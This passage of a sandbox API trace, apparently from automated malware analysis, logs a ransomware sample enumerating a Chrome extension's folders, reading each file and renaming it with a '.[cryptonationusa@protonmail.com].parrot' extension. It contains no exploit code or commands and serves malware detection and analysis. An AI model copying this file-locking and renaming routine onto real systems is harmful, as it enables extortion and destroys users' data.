Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0072.942] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.942] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.942] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.942] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.942] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.1_0", cAlternateFileName="")) returned 1 [0072.942] lstrcmpW (lpString1="8.1_0", lpString2=".") returned 1 [0072.942] lstrcmpW (lpString1="8.1_0", lpString2="..") returned 1 [0072.942] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0072.946] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.946] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.946] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.946] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.946] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x180f, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1 [0072.947] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1927, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.947] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.947] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0072.950] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.950] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x180f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x180f, lpOverlapped=0x0) returned 1 [0072.951] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.951] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1927, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.951] CloseHandle (hObject=0x27c) returned 1 [0072.952] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.954] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x428, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.954] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.954] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0072.955] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.955] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x310, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x310, lpOverlapped=0x0) returned 1 [0072.956] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.956] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x428, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.956] CloseHandle (hObject=0x27c) returned 1 [0072.956] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.958] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.960] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.960] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.961] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.961] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.961] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0072.961] lstrcmpW (lpString1="ar", lpString2=".") returned 1 [0072.961] lstrcmpW (lpString1="ar", lpString2="..") returned 1 [0072.961] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.962] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.962] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.963] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.963] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.963] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.964] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x250, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.964] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.964] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.965] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.965] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x138, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x138, lpOverlapped=0x0) returned 1 [0072.966] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.966] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x250, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.966] CloseHandle (hObject=0x28c) returned 1 [0072.966] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.971] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.971] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f9af20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f9af20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.972] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8f9af20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.972] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.972] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.972] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.972] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.972] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.973] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23c, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.973] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.973] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.974] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.974] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x124, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x124, lpOverlapped=0x0) returned 1 [0072.974] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.975] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.975] CloseHandle (hObject=0x28c) returned 1 [0072.975] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.015] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.016] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb900d340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb900d340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.017] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8f9af20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.017] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.018] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.018] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.018] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.018] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.018] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.019] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x216, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.019] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.019] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.019] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.020] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfe, lpOverlapped=0x0) returned 1 [0073.020] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.021] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.021] CloseHandle (hObject=0x28c) returned 1 [0073.021] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.025] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.026] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb900d340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb900d340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.027] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb900d340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.027] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, 